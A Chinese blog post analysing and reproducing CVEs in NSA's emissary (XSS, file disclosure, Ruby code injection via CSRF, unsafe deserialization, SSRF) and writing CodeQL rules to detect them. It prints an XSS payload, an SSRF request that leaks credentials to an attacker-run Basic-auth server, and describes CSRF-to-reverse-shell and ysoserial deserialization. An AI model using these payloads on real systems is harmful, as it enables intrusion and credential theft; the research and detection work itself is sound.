[旧文系列] NSA emissary多个漏洞分析复现和CodeQL实践
文章目录
- 关于<旧文系列>
- 0x00 前言
- 0x01 漏洞分析和复现
- Reflected cross-site scripting (CVE-2021-32092)
- Arbitrary File Disclosure (CVE-2021-32093)
- Code Injection (CVE-2021-32096)
- Unsafe deserialization (CVE-2021-32634)
- Server-side request forgery (CVE-2021-32639)
- SSRF-1、接口 /RegisterPeer.action
- SSRF-2、接口 /AddChildDirectory.action
- 0x02 小结
- 参考
关于<旧文系列>
<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。
文章首发于奇安信攻防社区: https://forum.butian.net/share/604
时间:2021-08-31
0x00 前言
先是Sonarsource的安全研究员在审计NSA的开源项目emissary v5.9.0版本的过程中发现了若干漏洞,其中包括:
- Code Injection (CVE-2021-32096)
- Arbitrary File Upload (CVE-2021-32094)
- Arbitrary File Disclosure (CVE-2021-32093)
- Arbitrary File Delete (CVE-2021-32095)
- Reflected cross-site scripting (CVE-2021-32092)
后来在浏览Github安全实验室的博客时,看到@pwntester 在Sonarsource安全研究员的基础上,使用CodeQL编写规则,在emissary项目中除了检测出以上漏洞外,还发现了新的漏洞:
- Unsafe deserialization (CVE-2021-32634)
- Server-side request forgery (CVE-2021-32639)
最近笔者除了在做漏洞分析外,也在学习CodeQL的使用,刚好可以用emissary项目来练手。
0x01 漏洞分析和复现
Reflected cross-site scripting (CVE-2021-32092)
这个XSS漏洞发生在一个文档上传功能里,上传文档后通过/emissary/Document.action/{uuid}
接口来获取文档的信息,uuid
参数对应的不同的文档。当uuid
不存在时,返回一个XML格式的内容,提示uuid
不存在, 但传入的uuid
参数未经任何的安全过滤就原样显示在回显文本中,可导致反射型XSS。关键代码如下图:
由于返回的文本是XML格式,可在XSS-Cheat-Sheet中找到在XML文件中执行的PoC,如下:
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
该漏洞使用CodeQL最新版本的默认规则集可以检测出来,如下图:
而如果使用较旧的版本(应该是今年6月份以前的版本),使用默认的规则集无法检测出该XSS,看CodeQL对应的提交记录,应该是之前没有考虑到响应类型为:application/xml,从而导致漏报(个人愚见,不一定对…)。另外,还针对XSS的误报方面进行了改进,忽略了响应类型为application/json的情况。对应的改进实现见:XSS改进
Arbitrary File Disclosure (CVE-2021-32093)
漏洞发生在接口/emissary/ConfigFile.action
,该接口没有对传入的参数ConfigItem做任何安全校验和过滤,导致可读取服务器上任意文件。关键代码如下:
示例如下,读取系统文件,及读取emissary的配置文件获取用户名/密码:
该漏洞使用CodeQL的默认规则集可以检测出来,如下图:
Code Injection (CVE-2021-32096)
该漏洞出现在接口/emissary/Console.action
,该接口允许用户执行Ruby代码。关键代码如下:
这个是emissary提供的功能。另外,该接口需要登录后才能调用。但由于emissary的用户认证使用的是HTTP摘要认证(HTTP Digest authentication)(参考[3]
),在浏览器端登录后的HTTP请求,会自动带上请求头Authorization
,如下:
GET / HTTP/1.1
Host: 192.168.3.56:8001
Authorization: Digest username="emissary", realm="EmissaryRealm", nonce="6GNGeEbPjv0BCgLtxLiqHifkF1eNRMM3", uri="/", algorithm=MD5, response="daa5a9a9144b7665f5ff1f5585d3432f", qop=auth, nc=00000001, cnonce="9f3c3b06c42dba3b"
这种认证方式可以被CSRF攻击。所以可构造页面让登录用户去访问,从而获取反弹shell,如下GIF图演示:
这个漏洞,使用目前CodeQL的默认规则集是检测不出来的,尽管默认规则集确实已覆盖了javax.script.ScriptEngine.eval()
,所以应该是因为某种原因导致source
和sink
之间的通路断了。下面通过代码来分析下原因。
getOrCreateConsole(request)
将调用 RubyConsole.getConsole()
,其实现如下:
这里会启动一个线程,线程执行的代码见RubyConsole.run()
:
当调用rubyConsolePost()
方法时,RubyConsole.run()
由于 stringToEval
为null
,会执行wait()
立马使当前线程进入挂起状态。
然后再回到接口的执行方法rubyConsolePost()
,后面会执行console.evalAndWait()
去执行Ruby代码:
可以看到evalAndWait()
方法里并没有直接调用eval()
方法,而是将要执行的ruby代码字符串赋值给全局变量stringToEval
,然后调用notifyAll()
方法来唤醒所有等待状态的线程,所以RubyConsole.run()
方法继续往下执行,调用javax.script.ScriptEngine.eval()
去执行Ruby代码。
综上可判断:使用默认的规则集检测的过程中,从/Console.action
到console.evalAndWait()
,由于javax.script.ScriptEngine.eval()
没有在console.evalAndWait()
里被调用,所以这个数据流就断了。所以检测不出来。
因此,得通过编写CodeQL额外的污点步骤,把这个数据通路给连接起来。这里直接引用了@pwntester编写的CodeQL规则,如下:
class NotifyWaitTaintStep extends TaintTracking::AdditionalTaintStep {override predicate step(DataFlow::Node n1, DataFlow::Node n2) {exists(MethodAccess notify, MethodAccess wait, SynchronizedStmt notifySync, SynchronizedStmt waitSync |notify.getMethod().hasQualifiedName("java.lang", "Object", ["notify", "notifyAll"]) andnotify.getAnEnclosingStmt() = notifySync andwait.getMethod().hasQualifiedName("java.lang", "Object", "wait") andwait.getAnEnclosingStmt() = waitSync andwaitSync.getExpr().getType() = notifySync.getExpr().getType() andexists(AssignExpr write, FieldAccess read |write.getAnEnclosingStmt() = notifySync andwrite = n1.asExpr() andread.getAnEnclosingStmt() = waitSync andread.getField() = write.getDest().(FieldAccess).getField() andread = n2.asExpr()))}
}
可将这段代码添加到CodeQL默认的代码注入规则文件ql/java/ql/src/experimental/Security/CWE/CWE-094/ScriptInjection.ql
中,再运行查询,就能检测出该漏洞了,如下图:
Unsafe deserialization (CVE-2021-32634)
该漏洞发生在接口/emissary/WorkSpaceClientEnqueue.action
,代码如下图:
可以看到参数WorkSpaceAdapter.WORK_BUNDLE_OBJ
在第52、53行被读取并反序列化。而且emissary依赖了commons-collections-3.2.1
,所以可以使用ysoserial生成CC链的payload进行反序列化攻击。由于这个接口也是登录后才可调用,因此可配合CSRF进行利用。
该漏洞使用CodeQL的默认规则集可以检测出来,如下图:
Server-side request forgery (CVE-2021-32639)
这里有两个接口存在SSRF漏洞,分别是/emissary/RegisterPeer.action
和/emissary/AddChildDirectory.action
。
这两处SSRF漏洞,使用CodeQL的默认规则集可以检测出来,如图:
SSRF-1、接口 /RegisterPeer.action
漏洞输入点在directoryName
参数。
可构造payload如下:
POST /emissary/RegisterPeer.action HTTP/1.1
Host: 127.0.0.1:8001
Content-Type: application/x-www-form-urlencodeddirectoryName=foo.bar.baz.http://172.20.10.3:5000/&targetDir=http://localhost:8001/DirectoryPlace
SSRF一般用于未授权访问、扫描或攻击目标的内部网络。但是这里@pwntester根据emissary的实际情况给出了另一种攻击场景。通过分析代码发现,emissary使用Apache的HttpClient库来向内部网络发起http请求,它从自身配置中获取身份凭证,并将身份凭证设置到名为CRED_PROV
的凭证提供者对象中,然后带着这个身份凭证向目标服务发起Http请求。在这个过程中,并没有配置emissary客户端使用哪种身份认证机制(HTTP Basic Authentication或HTTP Digest Authentication),所以判断:使用哪种身份认证机制应该是根据HTTP服务器的响应来决定的。具体代码如下:
因此,我们就可以架设一个HTTP基础认证的服务器,然后通过emissary的SSRF漏洞,让emissary客户端使用HTTP基础认证方式去访问我们的服务器,这样,我们在恶意服务器端就能获取用户身份凭证的明文数据(Base64编码)。
经实践,发现确实是这样。
1、首先编写并启动我们的HTTP Basic Authentication服务器;
2、使用上面的payload,对emissary执行SSRF攻击,如下图,会带着身份凭证的明文数据(Base64编码)向我们的目标服务器发起请求:
因此emissary项目的维护者在修复SSRF漏洞的同时,还指定了emissary客户端使用HTTP摘要认证机制。如下图,详见修复代码:
SSRF-2、接口 /AddChildDirectory.action
/AddChildDirectory.action接口同理,就不展开说了。
0x02 小结
- CodeQL在一定程度上,依赖于安全人员的技术能力。但随着该项目的活跃,安全社区会有越来越多的人提交优质的CodeQL查询规则,来增强它的默认规则集。
- CodeQL无论是在代码审计挖洞,还是分析Nday方面,都是非常值得学习的工具。
参考
[1] https://blog.sonarsource.com/code-vulnerabilities-in-nsa-application-revealed
[2] https://securitylab.github.com/research/NSA-emissary/
[3] https://blog.csdn.net/andrewpj/article/details/45727853
[旧文系列] NSA emissary多个漏洞分析复现和CodeQL实践相关推荐
- Cisco ASA、FTD和HyperFlex HX的漏洞分析复现
一.Cisco ASA设备任意文件删除漏洞 CVE-2020-3187 漏洞描述 Cisco ASA Software和FTD Software中的Web服务接口存在路径遍历漏洞,该漏洞源于程序没有对 ...
- 物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现
https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof 这个栈溢出的原因是由于cookie的值过长导致的栈溢出 ...
- thinkphp漏洞_【组件攻击链】ThinkCMF 高危漏洞分析与利用
一.组件介绍 1.1 基本信息 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形 ...
- CVE-2022-26923漏洞分析
漏洞简介 2022年5月10日,微软发布补丁修复了一个AD域权限提升漏洞(CVE-2022–26923).该漏洞是由于在申请证书时对AD域中的计算机账户身份审核不够严格,经过身份验证的攻击者可以操纵他 ...
- 美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告
本文转载自"CVERC "官网 作者:国家计算机病毒应急处理中心 近日,国家计算机病毒应急处理中心对美国家安全局(NSA)"酸狐狸"漏洞攻击武器平台(FoxA ...
- 美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台
近日,国家计算机病毒应急处理中心对美国家安全局(NSA)"酸狐狸"漏洞攻击武器平台(FoxAcid)进行了技术分析.该漏洞攻击武器平台是美国国家安全局(NSA)特定入侵行动办公室( ...
- PDF签名系列(1):PDF签名机制的漏洞分析
来源:PDF签名系列(1):PDF签名机制的漏洞分析 - 知乎 研究PDF文件的签名机制有一段时间了,刚开始学习的时候就看到有提到说,被签名的PDF内容的Range gap,会成为这个机制的漏洞,但是 ...
- 【旧文新读】解释“闭包”需要几行代码?
新读(2017年10月19日) 本文写于 2013年06月16日,今天做了一点修改,所谓修改,其实只是删去了几句不影响技术内容的话.关于闭包,我最近写了一篇新的文章,提到了静态作用域,相比本文,是对闭 ...
- 百度BCC云解析配置(新旧文档对比) - (文档篇)
百度BCC云解析配置流程 · 新旧文档对比 百度提示: 如何修改NS服务器地址呢? 查看详情 配置流程: 序号 步骤说明 旧版地址 新版地址 新版 1. 添加域名 查看 查看 .附参考2 下载文档 2 ...
最新文章
- freemarker-ide eclipse安装地址 安装方法 页面静态化
- 实验四 查找和排序算法实现
- 基于openfire+smack的Android、消息推送服务
- boost::signals2::shared_connection_block相关的测试程序
- JavaScript立即执行函数学习
- 创业公司用 Serverless,到底香不香?
- 2s相机 android6,Android Camera2 使用总结
- 从无到有整合SpringMVC-MyBatis项目(3):整合SpringMVC+Mybatis
- 2020-01-14 IP/TCP/UDP 对应的RFC编号
- ndr4108贴片晶振是多少频率_流处理器、核心频率、 位宽……这些显卡参数你知道吗?—— 电脑硬件科普篇(八)...
- Linux学习——gcc编译C程序
- 解决Hash冲突的两种策略
- 微型计算机中Ron4,第一章 计算机文化
- win10更新失败导致电脑不能开机怎么办
- 设计模式 | 观察者模式及典型应用
- 你了解眼角膜移植术吗?哪些眼疾需要接受角膜移植呢?
- android transact,Android Native层Binder.transact()函数调用 Binder.onTransact() 函数失败分析...
- 一文简单理解反向代理和正向代理模型
- 阿里云周晶:基于融合与协同的边缘云原生体系实践
- JS - 利用performance.timing进行性能分析